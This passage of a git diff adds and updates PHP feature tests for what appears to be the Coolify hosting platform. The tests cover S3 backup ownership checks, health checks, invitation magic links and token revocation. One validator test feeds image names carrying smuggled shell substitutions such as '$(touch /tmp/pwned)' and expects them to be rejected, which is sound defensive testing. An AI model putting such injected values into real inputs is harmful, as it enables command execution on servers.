'key' => 'test-key', + 'secret' => 'test-secret', + 'bucket' => 'test-bucket', + 'endpoint' => 'https://s3.example.com', + 'is_usable' => true, + 'team_id' => $team->id, + ]); +} + +beforeEach(function () { + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->user->teams()->attach($this->team, ['role' => 'owner']); + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); +}); + +it('rejects enabling S3 backup without a selected S3 storage', function () { + $database = createDatabaseForScheduledBackupTest($this->team); + + Livewire::test(CreateScheduledBackup::class, ['database' => $database]) + ->set('frequency', '0 0 * * *') + ->set('saveToS3', true) + ->set('s3StorageId', null) + ->call('submit') + ->assertDispatched('error'); + + expect(ScheduledDatabaseBackup::count())->toBe(0); +}); + +it('rejects an S3 storage not owned by the current team', function () { + $database = createDatabaseForScheduledBackupTest($this->team); + + $foreignS3 = createS3StorageForTeam(Team::factory()->create(), 'Foreign S3'); + + Livewire::test(CreateScheduledBackup::class, ['database' => $database]) + ->set('frequency', '0 0 * * *') + ->set('saveToS3', true) + ->set('s3StorageId', $foreignS3->id) + ->call('submit') + ->assertDispatched('error'); + + expect(ScheduledDatabaseBackup::count())->toBe(0); +}); + +it('rejects an S3 storage that is reassigned after the component is mounted', function () { + $database = createDatabaseForScheduledBackupTest($this->team); + $s3 = createS3StorageForTeam($this->team); + + $component = Livewire::test(CreateScheduledBackup::class, ['database' => $database]) + ->set('frequency', '0 0 * * *') + ->set('saveToS3', true) + ->set('s3StorageId', $s3->id); + + $s3->update(['team_id' => Team::factory()->create()->id]); + + $component + ->call('submit') + ->assertDispatched('error'); + + expect(ScheduledDatabaseBackup::count())->toBe(0); +}); + +it('rejects an S3 storage that becomes unusable after the component is mounted', function () { + $database = createDatabaseForScheduledBackupTest($this->team); + $s3 = createS3StorageForTeam($this->team); + + $component = Livewire::test(CreateScheduledBackup::class, ['database' => $database]) + ->set('frequency', '0 0 * * *') + ->set('saveToS3', true) + ->set('s3StorageId', $s3->id); + + $s3->update(['is_usable' => false]); + + $component + ->call('submit') + ->assertDispatched('error'); + + expect(ScheduledDatabaseBackup::count())->toBe(0); +}); + +it('creates a scheduled backup with a valid team-owned S3 storage', function () { + $database = createDatabaseForScheduledBackupTest($this->team); + $s3 = createS3StorageForTeam($this->team); + + Livewire::test(CreateScheduledBackup::class, ['database' => $database]) + ->set('frequency', '0 0 * * *') + ->set('saveToS3', true) + ->set('s3StorageId', $s3->id) + ->call('submit') + ->assertDispatched('refreshScheduledBackups'); + + $backup = ScheduledDatabaseBackup::first(); + expect($backup)->not->toBeNull(); + expect($backup->save_s3)->toBeTruthy(); + expect($backup->s3_storage_id)->toBe($s3->id); +}); diff --git a/tests/Feature/DatabaseBackupJobTest.php b/tests/Feature/DatabaseBackupJobTest.php index 05cb21f12..2d549c1ca 100644 --- a/tests/Feature/DatabaseBackupJobTest.php +++ b/tests/Feature/DatabaseBackupJobTest.php @@ -66,6 +66,48 @@ expect($backup->s3_storage_id)->toBeNull(); }); +test('upload_to_s3 exception message reports the previous s3 storage id', function () { + $backup = ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 's3_storage_id' => 12345, + 'database_type' => 'App\Models\StandalonePostgresql', + 'database_id' => 1, + 'team_id' => Team::factory()->create()->id, + ]); + + $job = new DatabaseBackupJob($backup); + + $reflection = new ReflectionClass($job); + $reflection->getProperty('s3')->setValue($job, null); + + expect(fn () => $reflection->getMethod('upload_to_s3')->invoke($job)) + ->toThrow(Exception::class, 'S3 storage ID: 12345'); + + $backup->refresh(); + expect($backup->save_s3)->toBeFalsy(); + expect($backup->s3_storage_id)->toBeNull(); +}); + +test('upload_to_s3 exception message reports null when no previous s3 storage id exists', function () { + $backup = ScheduledDatabaseBackup::create([ + 'frequency' => '0 0 * * *', + 'save_s3' => true, + 's3_storage_id' => null, + 'database_type' => 'App\Models\StandalonePostgresql', + 'database_id' => 1, + 'team_id' => Team::factory()->create()->id, + ]); + + $job = new DatabaseBackupJob($backup); + + $reflection = new ReflectionClass($job); + $reflection->getProperty('s3')->setValue($job, null); + + expect(fn () => $reflection->getMethod('upload_to_s3')->invoke($job)) + ->toThrow(Exception::class, 'S3 storage ID: null'); +}); + test('deleting s3 storage disables s3 on linked backups', function () { $team = Team::factory()->create(); diff --git a/tests/Feature/DatabaseHealthCheckTest.php b/tests/Feature/DatabaseHealthCheckTest.php new file mode 100644 index 000000000..9ccc3c53f --- /dev/null +++ b/tests/Feature/DatabaseHealthCheckTest.php @@ -0,0 +1,175 @@ +isHealthcheckEnabled())->toBeTrue(); +}); + +it('builds the compose healthcheck block from the model timing fields', function () { + $database = new StandalonePostgresql([ + 'health_check_interval' => 30, + 'health_check_timeout' => 7, + 'health_check_retries' => 4, + 'health_check_start_period' => 12, + ]); + + $config = $database->healthCheckConfiguration(['CMD', 'pg_isready']); + + expect($config)->toBe([ + 'test' => ['CMD', 'pg_isready'], + 'interval' => '30s', + 'timeout' => '7s', + 'retries' => 4, + 'start_period' => '12s', + ]); +}); + +it('falls back to safe defaults when timing fields are missing', function () { + $database = new StandalonePostgresql; + + $config = $database->healthCheckConfiguration(['CMD', 'pg_isready']); + + expect($config['interval'])->toBe('15s') + ->and($config['timeout'])->toBe('5s') + ->and($config['retries'])->toBe(5) + ->and($config['start_period'])->toBe('5s'); +}); + +it('reports the healthcheck as disabled when the flag is false', function () { + $database = new StandalonePostgresql(['health_check_enabled' => false]); + + expect($database->isHealthcheckEnabled())->toBeFalse(); +}); + +it('uses distinct hash fragments for ambiguous healthcheck values', function () { + $enabledDatabase = new StandalonePostgresql([ + 'health_check_enabled' => true, + 'health_check_interval' => 5, + 'health_check_timeout' => 5, + 'health_check_retries' => 5, + 'health_check_start_period' => 5, + ]); + + $disabledDatabase = new StandalonePostgresql([ + 'health_check_enabled' => false, + 'health_check_interval' => 15, + 'health_check_timeout' => 5, + 'health_check_retries' => 5, + 'health_check_start_period' => 5, + ]); + + $getHashFragment = function () { + return $this->healthCheckConfigurationHash(); + }; + + expect($getHashFragment->call($enabledDatabase)) + ->toBe('1|5|5|5|5') + ->not->toBe($getHashFragment->call($disabledDatabase)) + ->and($getHashFragment->call($disabledDatabase))->toBe('0|15|5|5|5'); +}); + +it('does not mark configuration changed when health update authorization fails', function () { + $database = new class + { + public ?string $config_hash = null; + + public int $configurationChangedChecks = 0; + + public function isConfigurationChanged(bool $save = false): bool + { + $this->configurationChangedChecks++; + + return true; + } + }; + + $component = new class extends Health + { + public array $dispatchedEvents = []; + + public function authorize($ability, $arguments = []) + { + throw new AuthorizationException('This action is unauthorized.'); + } + + public function dispatch($event, ...$params) + { + $this->dispatchedEvents[] = $event; + + return null; + } + }; + + $component->database = $database; + $component->submit(); + + expect($database->configurationChangedChecks)->toBe(0) + ->and($component->dispatchedEvents)->toBe(['error']); +}); + +it('toggles database healthcheck and marks configuration changed', function () { + $database = new class + { + public ?string $config_hash = 'existing'; + + public bool $health_check_enabled = false; + + public int $health_check_interval = 15; + + public int $health_check_timeout = 5; + + public int $health_check_retries = 5; + + public int $health_check_start_period = 5; + + public int $saveCalls = 0; + + public function save(): void + { + $this->saveCalls++; + } + }; + + $component = new class extends Health + { + public array $dispatchedEvents = []; + + public function authorize($ability, $arguments = []) + { + return true; + } + + public function dispatch($event, ...$params) + { + $this->dispatchedEvents[] = $event; + + return null; + } + + public function syncData(bool $toModel = false): void + { + if ($toModel) { + $this->database->health_check_enabled = $this->healthCheckEnabled; + $this->database->save(); + } + } + }; + + $component->database = $database; + $component->healthCheckEnabled = false; + $component->healthCheckInterval = 15; + $component->healthCheckTimeout = 5; + $component->healthCheckRetries = 5; + $component->healthCheckStartPeriod = 5; + + $component->toggleHealthcheck(); + + expect($database->health_check_enabled)->toBeTrue() + ->and($database->saveCalls)->toBe(1) + ->and($component->dispatchedEvents)->toBe(['success', 'configurationChanged']); +}); diff --git a/tests/Feature/DatabaseImportCommandInjectionTest.php b/tests/Feature/DatabaseImportCommandInjectionTest.php index f7b1bbbed..114d19884 100644 --- a/tests/Feature/DatabaseImportCommandInjectionTest.php +++ b/tests/Feature/DatabaseImportCommandInjectionTest.php @@ -1,7 +1,8 @@ getAttributes(\Livewire\Attributes\Locked::class); + $property = new ReflectionProperty(ImportForm::class, 'container'); + $attributes = $property->getAttributes(Locked::class); expect($attributes)->not->toBeEmpty(); }); test('serverId property has Locked attribute', function () { - $property = new ReflectionProperty(Import::class, 'serverId'); - $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class); + $property = new ReflectionProperty(ImportForm::class, 'serverId'); + $attributes = $property->getAttributes(Locked::class); expect($attributes)->not->toBeEmpty(); }); test('resourceId property has Locked attribute', function () { - $property = new ReflectionProperty(Import::class, 'resourceId'); - $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class); + $property = new ReflectionProperty(ImportForm::class, 'resourceId'); + $attributes = $property->getAttributes(Locked::class); expect($attributes)->not->toBeEmpty(); }); test('resourceType property has Locked attribute', function () { - $property = new ReflectionProperty(Import::class, 'resourceType'); - $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class); + $property = new ReflectionProperty(ImportForm::class, 'resourceType'); + $attributes = $property->getAttributes(Locked::class); expect($attributes)->not->toBeEmpty(); }); test('resourceUuid property has Locked attribute', function () { - $property = new ReflectionProperty(Import::class, 'resourceUuid'); - $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class); + $property = new ReflectionProperty(ImportForm::class, 'resourceUuid'); + $attributes = $property->getAttributes(Locked::class); expect($attributes)->not->toBeEmpty(); }); test('resourceDbType property has Locked attribute', function () { - $property = new ReflectionProperty(Import::class, 'resourceDbType'); - $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class); + $property = new ReflectionProperty(ImportForm::class, 'resourceDbType'); + $attributes = $property->getAttributes(Locked::class); expect($attributes)->not->toBeEmpty(); }); @@ -89,7 +90,7 @@ describe('server method uses team scoping', function () { test('server computed property calls ownedByCurrentTeam', function () { - $method = new ReflectionMethod(Import::class, 'server'); + $method = new ReflectionMethod(ImportForm::class, 'server'); // Extract the server method body $startLine = $method->getStartLine(); @@ -102,9 +103,9 @@ }); }); -describe('Import component uses shared ValidationPatterns', function () { +describe('ImportForm component uses shared ValidationPatterns', function () { test('runImport references ValidationPatterns for container validation', function () { - $method = new ReflectionMethod(Import::class, 'runImport'); + $method = new ReflectionMethod(ImportForm::class, 'runImport'); $startLine = $method->getStartLine(); $endLine = $method->getEndLine(); $lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1); @@ -114,7 +115,7 @@ }); test('restoreFromS3 references ValidationPatterns for container validation', function () { - $method = new ReflectionMethod(Import::class, 'restoreFromS3'); + $method = new ReflectionMethod(ImportForm::class, 'restoreFromS3'); $startLine = $method->getStartLine(); $endLine = $method->getEndLine(); $lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1); diff --git a/tests/Feature/DatabaseImportFormAuthorizationTest.php b/tests/Feature/DatabaseImportFormAuthorizationTest.php new file mode 100644 index 000000000..935700e3a --- /dev/null +++ b/tests/Feature/DatabaseImportFormAuthorizationTest.php @@ -0,0 +1,20 @@ +]*>/s', + $view, + $matches, + PREG_OFFSET_CAPTURE + ); + + $missingAuthorization = collect($matches[0]) + ->filter(fn (array $match): bool => ! str_contains($match[0], 'canGate=') || ! str_contains($match[0], 'canResource=')) + ->map(fn (array $match): string => 'Line '.(substr_count(substr($view, 0, $match[1]), PHP_EOL) + 1).': '.trim(preg_replace('/\s+/', ' ', $match[0]))) + ->values() + ->all(); + + expect($missingAuthorization)->toBeEmpty(); +}); diff --git a/tests/Feature/DatabaseSslStatusRefreshTest.php b/tests/Feature/DatabaseSslStatusRefreshTest.php index e62ef48ad..6e8216eed 100644 --- a/tests/Feature/DatabaseSslStatusRefreshTest.php +++ b/tests/Feature/DatabaseSslStatusRefreshTest.php @@ -1,17 +1,37 @@ $this->team]); }); -dataset('ssl-aware-database-general-components', [ +dataset('database-general-forms-without-broadcasts', [ + // Status-derived display moved into a sibling StatusInfo component for each DB, + // so the form itself takes no broadcast listeners and cannot clobber wire:dirty + // by absorbing deferred wire:model values during a status-triggered roundtrip. + RedisGeneral::class, + PostgresqlGeneral::class, MysqlGeneral::class, MariadbGeneral::class, MongodbGeneral::class, - RedisGeneral::class, - PostgresqlGeneral::class, KeydbGeneral::class, DragonflyGeneral::class, + ClickhouseGeneral::class, + DatabaseImportForm::class, + ServiceConfiguration::class, + ApplicationConfiguration::class, ]); -it('maps database status broadcasts to refresh for ssl-aware database general components', function (string $componentClass) { - $component = app($componentClass); - $listeners = $component->getListeners(); +dataset('database-status-info-components', [ + RedisStatusInfo::class, + PostgresqlStatusInfo::class, + MysqlStatusInfo::class, + MariadbStatusInfo::class, + MongodbStatusInfo::class, + KeydbStatusInfo::class, + DragonflyStatusInfo::class, + ClickhouseStatusInfo::class, +]); - expect($listeners["echo-private:user.{$this->user->id},DatabaseStatusChanged"])->toBe('refresh') - ->and($listeners["echo-private:team.{$this->team->id},ServiceChecked"])->toBe('refresh'); -})->with('ssl-aware-database-general-components'); +dataset('display-only-status-components', [ + RedisStatusInfo::class, + PostgresqlStatusInfo::class, + MysqlStatusInfo::class, + MariadbStatusInfo::class, + MongodbStatusInfo::class, + KeydbStatusInfo::class, + DragonflyStatusInfo::class, + ClickhouseStatusInfo::class, + DatabaseImport::class, + ServiceResourceCard::class, + ServerStatusBadge::class, +]); -it('reloads the mysql database model when refreshing so ssl controls follow the latest status', function () { +it('does not subscribe the form to status broadcasts when display lives in a sibling', function (string $componentClass) { + // Regression guard for coolify#6062 / #6354 / #9695: + // Status broadcasts on the form would trigger a Livewire roundtrip that absorbs + // deferred wire:model values into the snapshot — clobbering both the typed text + // (resolved by the earlier refreshStatus fix) and the wire:dirty indicator. + $listeners = resolveLivewireListeners(app($componentClass)); + + expect($listeners) + ->not->toHaveKey("echo-private:user.{$this->user->id},DatabaseStatusChanged") + ->not->toHaveKey("echo-private:team.{$this->team->id},ServiceChecked") + ->not->toHaveKey("echo-private:team.{$this->team->id},ServiceStatusChanged"); +})->with('database-general-forms-without-broadcasts'); + +/** + * Resolve a Livewire component's listeners regardless of whether the subclass + * exposes getListeners() publicly or only declares a $listeners array — the + * HandlesEvents trait keeps getListeners() protected by default. + */ +function resolveLivewireListeners(object $component): array +{ + $method = new ReflectionMethod($component, 'getListeners'); + $method->setAccessible(true); + + return (array) $method->invoke($component); +} + +it('auto-refreshes status-info sibling on database status broadcasts', function (string $componentClass) { + // Status-derived display (connection URLs, SSL gate hint, cert expiry) lives in a sibling + // Livewire component so it can re-render on broadcasts without touching the form's DOM. + $listeners = resolveLivewireListeners(app($componentClass)); + + expect($listeners) + ->toHaveKey("echo-private:user.{$this->user->id},DatabaseStatusChanged") + ->toHaveKey("echo-private:team.{$this->team->id},ServiceChecked"); +})->with('database-status-info-components'); + +it('keeps realtime status listeners on display-only components instead of form owners', function (string $componentClass) { + $listeners = resolveLivewireListeners(app($componentClass)); + + expect($listeners)->not->toBeEmpty(); +})->with('display-only-status-components'); + +it('refreshes a service resource card without refreshing the service configuration form owner', function () { + $server = Server::factory()->create(['team_id' => $this->team->id]); + $destination = StandaloneDocker::where('server_id', $server->id)->first(); + $project = Project::factory()->create(['team_id' => $this->team->id]); + $environment = Environment::factory()->create(['project_id' => $project->id]); + $service = Service::create([ + 'name' => 'status-card-service', + 'environment_id' => $environment->id, + 'server_id' => $server->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + 'docker_compose_raw' => 'services: {}', + ]); + $serviceApplication = ServiceApplication::create([ + 'service_id' => $service->id, + 'name' => 'web', + 'image' => 'nginx:latest', + 'status' => 'exited:unhealthy', + ]); + $parameters = [ + 'project_uuid' => $project->uuid, + 'environment_uuid' => $environment->uuid, + 'service_uuid' => $service->uuid, + ]; + + $component = Livewire::test(ServiceResourceCard::class, [ + 'service' => $service, + 'resource' => $serviceApplication, + 'parameters' => $parameters, + ]); + + $serviceApplication->fill(['status' => 'running:healthy'])->save(); + + $component->call('refreshResource'); + + expect($component->instance()->resource->status)->toBe('running:healthy'); +}); + +it('refreshes database import status from stored resource identity after the route context is gone', function () { + $server = Server::factory()->create(['team_id' => $this->team->id]); + $destination = StandaloneDocker::where('server_id', $server->id)->first(); + $project = Project::factory()->create(['team_id' => $this->team->id]); + $environment = Environment::factory()->create(['project_id' => $project->id]); + $database = StandaloneMysql::create([ + 'name' => 'import-status-mysql', + 'image' => 'mysql:8', + 'mysql_root_password' => 'password', + 'mysql_user' => 'coolify', + 'mysql_password' => 'password', + 'mysql_database' => 'coolify', + 'status' => 'exited:unhealthy', + 'is_log_drain_enabled' => false, + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); + + $component = app(DatabaseImport::class); + $component->resourceId = $database->id; + $component->resourceType = StandaloneMysql::class; + + $database->fill(['status' => 'running:healthy'])->save(); + + $component->refreshStatus(); + + expect($component->resourceStatus)->toBe('running:healthy'); +}); + +it('reloads the mysql status-info model when refresh is called so ssl controls follow the latest status', function () { $server = Server::factory()->create(['team_id' => $this->team->id]); $destination = StandaloneDocker::where('server_id', $server->id)->first(); $project = Project::factory()->create(['team_id' => $this->team->id]); @@ -67,7 +221,65 @@ 'destination_type' => $destination->getMorphClass(), ]); - $component = Livewire::test(MysqlGeneral::class, ['database' => $database]) + $component = Livewire::test(MysqlStatusInfo::class, ['database' => $database]) + ->assertDontSee('Database should be stopped to change this settings.'); + + $database->fill(['status' => 'running:healthy'])->save(); + + $component->call('refresh') + ->assertSee('Database should be stopped to change this settings.'); +}); + +it('does not clobber server form text inputs when sentinel restarts', function () { + $server = Server::factory()->create([ + 'team_id' => $this->team->id, + 'name' => 'persisted-server-name', + ]); + + $component = Livewire::test(Sentinel::class, ['server_uuid' => $server->uuid]) + ->set('sentinelToken', 'user-was-typing-this-token'); + + $component->call('handleSentinelRestarted', ['serverUuid' => $server->uuid]); + + expect($component->get('sentinelToken'))->toBe('user-was-typing-this-token'); +}); + +it('does not clobber server form text inputs when server validation completes', function () { + $server = Server::factory()->create([ + 'team_id' => $this->team->id, + 'name' => 'persisted-server-name', + ]); + + $component = Livewire::test(Show::class, ['server_uuid' => $server->uuid]) + ->set('name', 'user-was-typing-here') + ->set('ip', '203.0.113.42'); + + $component->call('handleServerValidated', ['serverUuid' => $server->uuid]); + + expect($component->get('name'))->toBe('user-was-typing-here') + ->and($component->get('ip'))->toBe('203.0.113.42'); +}); + +it('shows the redis ssl gate hint after the sibling is refreshed', function () { + $server = Server::factory()->create(['team_id' => $this->team->id]); + $destination = StandaloneDocker::where('server_id', $server->id)->first(); + $project = Project::factory()->create(['team_id' => $this->team->id]); + $environment = Environment::factory()->create(['project_id' => $project->id]); + + $database = StandaloneRedis::create([ + 'name' => 'test-redis', + 'image' => 'redis:7', + 'redis_password' => 'password', + 'redis_username' => 'default', + 'status' => 'exited:unhealthy', + 'enable_ssl' => true, + 'is_log_drain_enabled' => false, + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); + + $component = Livewire::test(RedisStatusInfo::class, ['database' => $database]) ->assertDontSee('Database should be stopped to change this settings.'); $database->fill(['status' => 'running:healthy'])->save(); diff --git a/tests/Feature/InvitationLinkHandlingTest.php b/tests/Feature/InvitationLinkHandlingTest.php new file mode 100644 index 000000000..e45207cc5 --- /dev/null +++ b/tests/Feature/InvitationLinkHandlingTest.php @@ -0,0 +1,131 @@ +withoutMiddleware([DecideWhatToDoWithUser::class, CheckForcePasswordReset::class]); + Once::flush(); + Config::set('app.maintenance.driver', 'file'); + Config::set('cache.default', 'array'); + Config::set('session.driver', 'array'); + + if (! InstanceSettings::find(0)) { + $settings = new InstanceSettings; + $settings->id = 0; + $settings->saveQuietly(); + } +}); + +function createInvitationLinkFixture(array $invitationAttributes = []): array +{ + $team = Team::factory()->create(); + $password = 'temporary-password-123'; + $user = User::factory()->create([ + 'email' => $invitationAttributes['email'] ?? 'invitee@example.com', + 'password' => Hash::make($password), + 'force_password_reset' => true, + 'email_verified_at' => null, + ]); + $uuid = (string) new Cuid2(32); + $token = Crypt::encryptString("{$user->email}@@@{$uuid}@@@{$password}"); + $link = route('auth.link', ['token' => $token]); + + $invitation = TeamInvitation::create(array_merge([ + 'team_id' => $team->id, + 'uuid' => $uuid, + 'email' => $user->email, + 'role' => 'member', + 'link' => $link, + 'via' => 'link', + ], $invitationAttributes)); + + return [$team, $user, $password, $token, $invitation]; +} + +it('accepts a valid magic link invitation only once and rotates the temporary password', function () { + [$team, $user, $password, $token] = createInvitationLinkFixture(); + + $this->get(route('auth.link', ['token' => $token])) + ->assertRedirect(route('dashboard')); + + $this->assertAuthenticatedAs($user); + $this->assertDatabaseMissing('team_invitations', ['email' => $user->email]); + expect($user->teams()->where('team_id', $team->id)->exists())->toBeTrue(); + + $user->refresh(); + expect(Hash::check($password, $user->password))->toBeFalse(); + + auth()->logout(); + session()->flush(); + + $this->get(route('auth.link', ['token' => $token])) + ->assertRedirect(route('login')); + + $this->assertGuest(); +}); + +it('rejects a magic link when the invitation was revoked', function () { + [, $user, , $token, $invitation] = createInvitationLinkFixture(); + $invitation->delete(); + + $this->get(route('auth.link', ['token' => $token])) + ->assertRedirect(route('login')); + + $this->assertGuest(); + expect($user->teams()->where('personal_team', false)->exists())->toBeFalse(); +}); + +it('rejects a magic link when another invitation exists for the same email', function () { + [, $user, , $token, $invitation] = createInvitationLinkFixture(); + $invitation->delete(); + + $otherTeam = Team::factory()->create(); + TeamInvitation::create([ + 'team_id' => $otherTeam->id, + 'uuid' => (string) new Cuid2(32), + 'email' => $user->email, + 'role' => 'admin', + 'link' => url('/invitations/other-invitation'), + 'via' => 'link', + ]); + + $this->get(route('auth.link', ['token' => $token])) + ->assertRedirect(route('login')); + + $this->assertGuest(); + expect($user->teams()->where('team_id', $otherTeam->id)->exists())->toBeFalse(); +}); + +it('rejects a magic link when the invitation expired', function () { + [, $user, , $token, $invitation] = createInvitationLinkFixture(); + $invitation->forceFill([ + 'created_at' => now()->subDays(config('constants.invitation.link.expiration_days') + 1), + 'updated_at' => now()->subDays(config('constants.invitation.link.expiration_days') + 1), + ])->save(); + + $this->get(route('auth.link', ['token' => $token])) + ->assertRedirect(route('login')); + + $this->assertGuest(); + $this->assertDatabaseMissing('team_invitations', ['id' => $invitation->id]); +}); + +it('rejects a malformed magic link token', function () { + $this->get(route('auth.link', ['token' => 'not-a-valid-token'])) + ->assertRedirect(route('login')); + + $this->assertGuest(); +}); diff --git a/tests/Feature/LinkLoginEmailVerificationTest.php b/tests/Feature/LinkLoginEmailVerificationTest.php index 036584e1e..39ade93eb 100644 --- a/tests/Feature/LinkLoginEmailVerificationTest.php +++ b/tests/Feature/LinkLoginEmailVerificationTest.php @@ -4,8 +4,10 @@ use App\Http\Middleware\DecideWhatToDoWithUser; use App\Models\InstanceSettings; use App\Models\Team; +use App\Models\TeamInvitation; use App\Models\User; use Illuminate\Foundation\Testing\RefreshDatabase; +use Illuminate\Support\Facades\Config; use Illuminate\Support\Facades\Crypt; use Illuminate\Support\Facades\Hash; use Illuminate\Support\Once; @@ -15,6 +17,10 @@ beforeEach(function () { $this->withoutMiddleware([DecideWhatToDoWithUser::class, CheckForcePasswordReset::class]); Once::flush(); + Config::set('app.maintenance.driver', 'file'); + Config::set('cache.default', 'array'); + Config::set('session.driver', 'array'); + if (! InstanceSettings::find(0)) { $settings = new InstanceSettings; $settings->id = 0; @@ -33,7 +39,16 @@ ]); $user->teams()->attach($team->id, ['role' => 'member']); - $token = Crypt::encryptString("{$user->email}@@@{$password}"); + $uuid = 'email-verification-test-invitation'; + $token = Crypt::encryptString("{$user->email}@@@{$uuid}@@@{$password}"); + TeamInvitation::create([ + 'team_id' => $team->id, + 'uuid' => $uuid, + 'email' => $user->email, + 'role' => 'member', + 'link' => route('auth.link', ['token' => $token]), + 'via' => 'link', + ]); $this->get(route('auth.link', ['token' => $token])); @@ -51,9 +66,19 @@ ]); $user->teams()->attach($team->id, ['role' => 'member']); - $token = Crypt::encryptString("{$user->email}@@@{$password}"); + $uuid = 'email-verification-login-test-invitation'; + $token = Crypt::encryptString("{$user->email}@@@{$uuid}@@@{$password}"); + TeamInvitation::create([ + 'team_id' => $team->id, + 'uuid' => $uuid, + 'email' => $user->email, + 'role' => 'member', + 'link' => route('auth.link', ['token' => $token]), + 'via' => 'link', + ]); - $this->get(route('auth.link', ['token' => $token])); + $this->get(route('auth.link', ['token' => $token])) + ->assertRedirect(route('dashboard')); expect(auth()->id())->toBe($user->id); }); diff --git a/tests/Feature/Livewire/ApplicationGeneralDockerRegistryImageValidationTest.php b/tests/Feature/Livewire/ApplicationGeneralDockerRegistryImageValidationTest.php new file mode 100644 index 000000000..34c889837 --- /dev/null +++ b/tests/Feature/Livewire/ApplicationGeneralDockerRegistryImageValidationTest.php @@ -0,0 +1,21 @@ +invoke($component); + + $validator = validator([ + 'dockerRegistryImageName' => 'coolify/poc$(touch /tmp/pwned)', + 'dockerRegistryImageTag' => 'latest$(touch /tmp/pwned)', + ], [ + 'dockerRegistryImageName' => $rules['dockerRegistryImageName'], + 'dockerRegistryImageTag' => $rules['dockerRegistryImageTag'], + ]); + + expect($validator->fails())->toBeTrue() + ->and($validator->errors()->has('dockerRegistryImageName'))->toBeTrue() + ->and($validator->errors()->has('dockerRegistryImageTag'))->toBeTrue(); +}); diff --git a/tests/Feature/LogDrain/LogDrainNetworkConnectCommandTest.php b/tests/Feature/LogDrain/LogDrainNetworkConnectCommandTest.php new file mode 100644 index 000000000..ab3144da3 --- /dev/null +++ b/tests/Feature/LogDrain/LogDrainNetworkConnectCommandTest.php @@ -0,0 +1,97 @@ +setAccessible(true); + + return $method->invoke($action, $model); +} + +function createServerWithTeam(): Server +{ + $team = Team::factory()->create(); + + return Server::factory()->create(['team_id' => $team->id]); +} + +function createServiceOnServer(Server $server, string $network, bool $connectToDockerNetwork = true): Service +{ + $team = Team::factory()->create(); + $project = Project::factory()->create(['team_id' => $team->id]); + $environment = Environment::factory()->create(['project_id' => $project->id]); + $destination = StandaloneDocker::query()->firstOrCreate( + ['server_id' => $server->id, 'network' => $network], + ['uuid' => fake()->uuid(), 'name' => fake()->unique()->word()] + ); + + return Service::factory()->create([ + 'server_id' => $server->id, + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => StandaloneDocker::class, + 'connect_to_docker_network' => $connectToDockerNetwork, + 'docker_compose' => "services:\n signoz:\n image: signoz/signoz:latest\n", + ]); +} + +it('connects the log drain container to a service preferred network when the server log drain is enabled', function () { + $server = createServerWithTeam(); + $server->settings()->update(['is_logdrain_custom_enabled' => true]); + $service = createServiceOnServer($server, 'signoz-net', true); + + $commands = reflectedLogDrainNetworkCommands(new StartService, $service->fresh(['destination.server.settings'])); + + expect($commands)->toContain("docker network connect 'signoz-net' coolify-log-drain >/dev/null 2>&1 || true"); +}); + +it('does not connect the log drain container when service preferred network is disabled', function () { + $server = createServerWithTeam(); + $server->settings()->update(['is_logdrain_custom_enabled' => true]); + $service = createServiceOnServer($server, 'signoz-net', false); + + $commands = reflectedLogDrainNetworkCommands(new StartService, $service->fresh(['destination.server.settings'])); + + expect($commands)->toBeEmpty(); +}); + +it('does not connect the log drain container when the server log drain is disabled', function () { + $server = createServerWithTeam(); + $service = createServiceOnServer($server, 'signoz-net', true); + + $commands = reflectedLogDrainNetworkCommands(new StartService, $service->fresh(['destination.server.settings'])); + + expect($commands)->toBeEmpty(); +}); + +it('connects a restarted log drain container to all enabled service preferred networks on the server', function () { + $server = createServerWithTeam(); + $server->settings()->update(['is_logdrain_custom_enabled' => true]); + createServiceOnServer($server, 'signoz-net', true); + createServiceOnServer($server, 'ignored-net', false); + createServiceOnServer($server, 'signoz-net', true); + + $otherServer = createServerWithTeam(); + createServiceOnServer($otherServer, 'other-server-net', true); + + $commands = reflectedLogDrainNetworkCommands(new StartLogDrain, $server->fresh(['settings'])); + + expect($commands) + ->toContain("docker network connect 'signoz-net' coolify-log-drain >/dev/null 2>&1 || true") + ->not->toContain("docker network connect 'ignored-net' coolify-log-drain >/dev/null 2>&1 || true") + ->not->toContain("docker network connect 'other-server-net' coolify-log-drain >/dev/null 2>&1 || true"); + + expect($commands)->toHaveCount(1); +}); diff --git a/tests/Feature/Mcp/McpEndpointTest.php b/tests/Feature/Mcp/McpEndpointTest.php index 34ae493cc..ae0101547 100644 --- a/tests/Feature/Mcp/McpEndpointTest.php +++ b/tests/Feature/Mcp/McpEndpointTest.php @@ -192,3 +192,14 @@ function mcpToolJson($response): array expect($response->json('result.isError'))->toBeTrue(); expect($response->json('result.content.0.text'))->toContain('Missing required permissions'); }); + +test('MCP rejects token when user no longer belongs to token team', function () { + Project::create(['name' => 'Hidden', 'team_id' => $this->team->id]); + $token = $this->user->createToken('mcp-read', ['read'])->plainTextToken; + + $this->team->members()->detach($this->user->id); + + $response = mcpCallTool($token, 'list_projects'); + + $response->assertUnauthorized(); +}); diff --git a/tests/Feature/NavigationCloakTest.php b/tests/Feature/NavigationCloakTest.php new file mode 100644 index 000000000..430400ea7 --- /dev/null +++ b/tests/Feature/NavigationCloakTest.php @@ -0,0 +1,16 @@ +toContain("document.addEventListener('livewire:navigated'") + ->toContain("querySelectorAll('[x-cloak]')") + ->toContain("removeAttribute('x-cloak')"); +}); + +it('keeps the initial-load x-cloak guard on the app wrapper', function () { + $layout = file_get_contents(resource_path('views/layouts/app.blade.php')); + + expect($layout)->toContain('x-cloak'); +}); diff --git a/tests/Feature/PasswordVisibilityComponentTest.php b/tests/Feature/PasswordVisibilityComponentTest.php index 